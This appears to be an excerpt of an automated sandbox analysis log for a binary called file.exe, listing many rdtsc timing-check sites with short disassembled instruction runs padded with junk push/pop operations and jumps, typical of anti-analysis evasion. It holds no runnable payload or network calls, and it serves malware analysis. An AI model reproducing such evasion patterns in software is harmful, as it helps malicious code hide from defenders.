Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAB92F second address: DAB933 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAB933 second address: DAB937 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAB937 second address: DAB95B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007F20FCE83CB7h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAEA09 second address: DAEA17 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAB95B second address: DAB95F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAB95F second address: DAB963 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DABA5E second address: DABA62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DABA62 second address: DABA68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB096E second address: DB0973 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB1EBA second address: DB1EF4 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F20FD6D8E5Ch 0x00000008 jg 00007F20FD6D8E56h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 jmp 00007F20FD6D8E5Ch 0x00000016 nop 0x00000017 sub edi, dword ptr [ebp+122D1FF9h] 0x0000001d push 00000000h 0x0000001f mov edi, eax 0x00000021 push 00000000h 0x00000023 sub di, B673h 0x00000028 xchg eax, esi 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d jns 00007F20FD6D8E56h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB1EF4 second address: DB1EFE instructions: 0x00000000 rdtsc 0x00000002 jg 00007F20FCE83CA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB2EE2 second address: DB2F6F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F20FD6D8E63h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov dword ptr [ebp+1246776Fh], eax 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push ebx 0x00000017 call 00007F20FD6D8E58h 0x0000001c pop ebx 0x0000001d mov dword ptr [esp+04h], ebx 0x00000021 add dword ptr [esp+04h], 0000001Dh 0x00000029 inc ebx 0x0000002a push ebx 0x0000002b ret 0x0000002c pop ebx 0x0000002d ret 0x0000002e adc edi, 2F33A511h 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push ebx 0x00000039 call 00007F20FD6D8E58h 0x0000003e pop ebx 0x0000003f mov dword ptr [esp+04h], ebx 0x00000043 add dword ptr [esp+04h], 00000019h 0x0000004b inc ebx 0x0000004c push ebx 0x0000004d ret 0x0000004e pop ebx 0x0000004f ret 0x00000050 jmp 00007F20FD6D8E66h 0x00000055 push eax 0x00000056 push eax 0x00000057 push edx 0x00000058 push eax 0x00000059 push edx 0x0000005a pushad 0x0000005b popad 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB2F6F second address: DB2F8B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F20FCE83CB8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB3EF0 second address: DB3EF6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB3EF6 second address: DB3F0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F20FCE83CB4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB3F0E second address: DB3F12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB308B second address: DB3090 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB3090 second address: DB3096 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB3F12 second address: DB3F7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ecx 0x0000000e call 00007F20FCE83CA8h 0x00000013 pop ecx 0x00000014 mov dword ptr [esp+04h], ecx 0x00000018 add dword ptr [esp+04h], 00000015h 0x00000020 inc ecx 0x00000021 push ecx 0x00000022 ret 0x00000023 pop ecx 0x00000024 ret 0x00000025 movsx edi, si 0x00000028 push 00000000h 0x0000002a mov ebx, 601E9659h 0x0000002f mov edi, dword ptr [ebp+122D333Ch] 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push esi 0x0000003a call 00007F20FCE83CA8h 0x0000003f pop esi 0x00000040 mov dword ptr [esp+04h], esi 0x00000044 add dword ptr [esp+04h], 0000001Ah 0x0000004c inc esi 0x0000004d push esi 0x0000004e ret 0x0000004f pop esi 0x00000050 ret 0x00000051 mov ebx, dword ptr [ebp+122D1BFBh] 0x00000057 xchg eax, esi 0x00000058 push edx 0x00000059 jl 00007F20FCE83CACh 0x0000005f push eax 0x00000060 push edx 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB3096 second address: DB309A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB3F7E second address: DB3F94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 pushad 0x00000007 jmp 00007F20FCE83CABh 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB309A second address: DB309E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC17AA second address: DC17AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC18A7 second address: DC18AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC18AD second address: DC18B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC2D38 second address: DC2D45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC2D45 second address: DC2D4F instructions: 0x00000000 rdtsc 0x00000002 ja 00007F20FCE83CA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC9505 second address: DC9517 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 ja 00007F20FD6D8E56h 0x00000009 pop edx 0x0000000a jbe 00007F20FD6D8E62h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC9517 second address: DC952D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F20FCE83CA6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e je 00007F20FCE83CA8h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC952D second address: DC9532 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC9532 second address: DC9538 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC82A8 second address: DC82B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC82B0 second address: DC82B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC82B4 second address: DC82BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC8974 second address: DC8989 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F20FCE83CB0h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC8C33 second address: DC8C3D instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F20FD6D8E56h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC8F30 second address: DC8F42 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F20FCE83CACh 0x00000008 jo 00007F20FCE83CA6h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC8F42 second address: DC8F4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F20FD6D8E56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC91C2 second address: DC91CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F20FCE83CA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC935B second address: DC937C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F20FD6D8E67h 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC937C second address: DC9382 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC9382 second address: DC9386 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC9386 second address: DC938A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4B4E2 second address: D4B4E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA0077 second address: DA007E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA007E second address: DA0085 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA01A7 second address: DA01AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA01AB second address: DA01AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA0631 second address: DA0673 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F20FCE83CB5h 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b add dword ptr [esp], 2B3E20E4h 0x00000012 call 00007F20FCE83CAEh 0x00000017 mov dword ptr [ebp+122D30CAh], esi 0x0000001d pop ecx 0x0000001e push 82E3FCC4h 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 push edi 0x00000028 pop edi 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA0673 second address: DA0679 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA0788 second address: DA078D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA0A63 second address: DA0A82 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F20FD6D8E5Ch 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push esi 0x00000011 jo 00007F20FD6D8E56h 0x00000017 pop esi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA0E22 second address: DA0E41 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F20FCE83CB4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d push eax 0x0000000e pop eax 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA0E41 second address: DA0E47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA0E47 second address: DA0E4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA0E4B second address: DA0E79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 sub dword ptr [ebp+12459793h], ecx 0x0000000f push 0000001Eh 0x00000011 mov edx, esi 0x00000013 nop 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F20FD6D8E68h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA115D second address: DA1161 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA1161 second address: DA1171 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F20FD6D8E5Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA1171 second address: DA11CD instructions: 0x00000000 rdtsc 0x00000002 ja 00007F20FCE83CA8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jnp 00007F20FCE83CB4h 0x00000011 jmp 00007F20FCE83CAEh 0x00000016 mov eax, dword ptr [esp+04h] 0x0000001a jmp 00007F20FCE83CB6h 0x0000001f mov eax, dword ptr [eax] 0x00000021 pushad 0x00000022 push esi 0x00000023 jc 00007F20FCE83CA6h 0x00000029 pop esi 0x0000002a je 00007F20FCE83CA8h 0x00000030 push edx 0x00000031 pop edx 0x00000032 popad 0x00000033 mov dword ptr [esp+04h], eax 0x00000037 jnp 00007F20FCE83CB4h 0x0000003d pushad 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA11CD second address: DA11D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA12CF second address: DA12D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA12D3 second address: DA12D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA12D9 second address: DA12DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA12DF second address: DA12EE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA12EE second address: DA12F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA12F2 second address: DA12F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA12F6 second address: DA12FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA12FC second address: DA1302 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA1302 second address: DA1306 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA1306 second address: DA130A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA130A second address: DA1328 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov cl, 04h 0x0000000b lea eax, dword ptr [ebp+12494E6Bh] 0x00000011 mov dword ptr [ebp+1248AA81h], esi 0x00000017 push eax 0x00000018 push edi 0x00000019 pushad 0x0000001a pushad 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D50670 second address: D50674 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D50674 second address: D50686 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 pushad 0x0000000a popad 0x0000000b jng 00007F20FCE83CA6h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D50686 second address: D506A8 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F20FD6D8E6Dh 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D506A8 second address: D506C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F20FCE83CA6h 0x0000000a jl 00007F20FCE83CA6h 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push ebx 0x00000016 pushad 0x00000017 popad 0x00000018 jp 00007F20FCE83CA6h 0x0000001e pop ebx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D506C7 second address: D506D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F20FD6D8E56h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D506D3 second address: D506D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D506D7 second address: D506DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCD0B7 second address: DCD0BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCD0BF second address: DCD0C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCD0C3 second address: DCD0C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCD0C7 second address: DCD0D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCD230 second address: DCD234 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCD234 second address: DCD238 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCD393 second address: DCD397 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCD6AD second address: DCD6B9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jns 00007F20FD6D8E56h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCD6B9 second address: DCD6C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCD6C0 second address: DCD6CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jl 00007F20FD6D8E56h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCD827 second address: DCD82B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCDAEA second address: DCDAF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD030E second address: DD0317 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edx 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDC0BE second address: DDC0C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDC0C2 second address: DDC0C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDC0C6 second address: DDC0CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDC241 second address: DDC259 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F20FCE83CA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b jo 00007F20FCE83CA6h 0x00000011 jno 00007F20FCE83CA6h 0x00000017 pop ecx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDC3AD second address: DDC3CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F20FD6D8E67h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDC3CF second address: DDC3D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDC3D3 second address: DDC3E8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007F20FD6D8E5Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
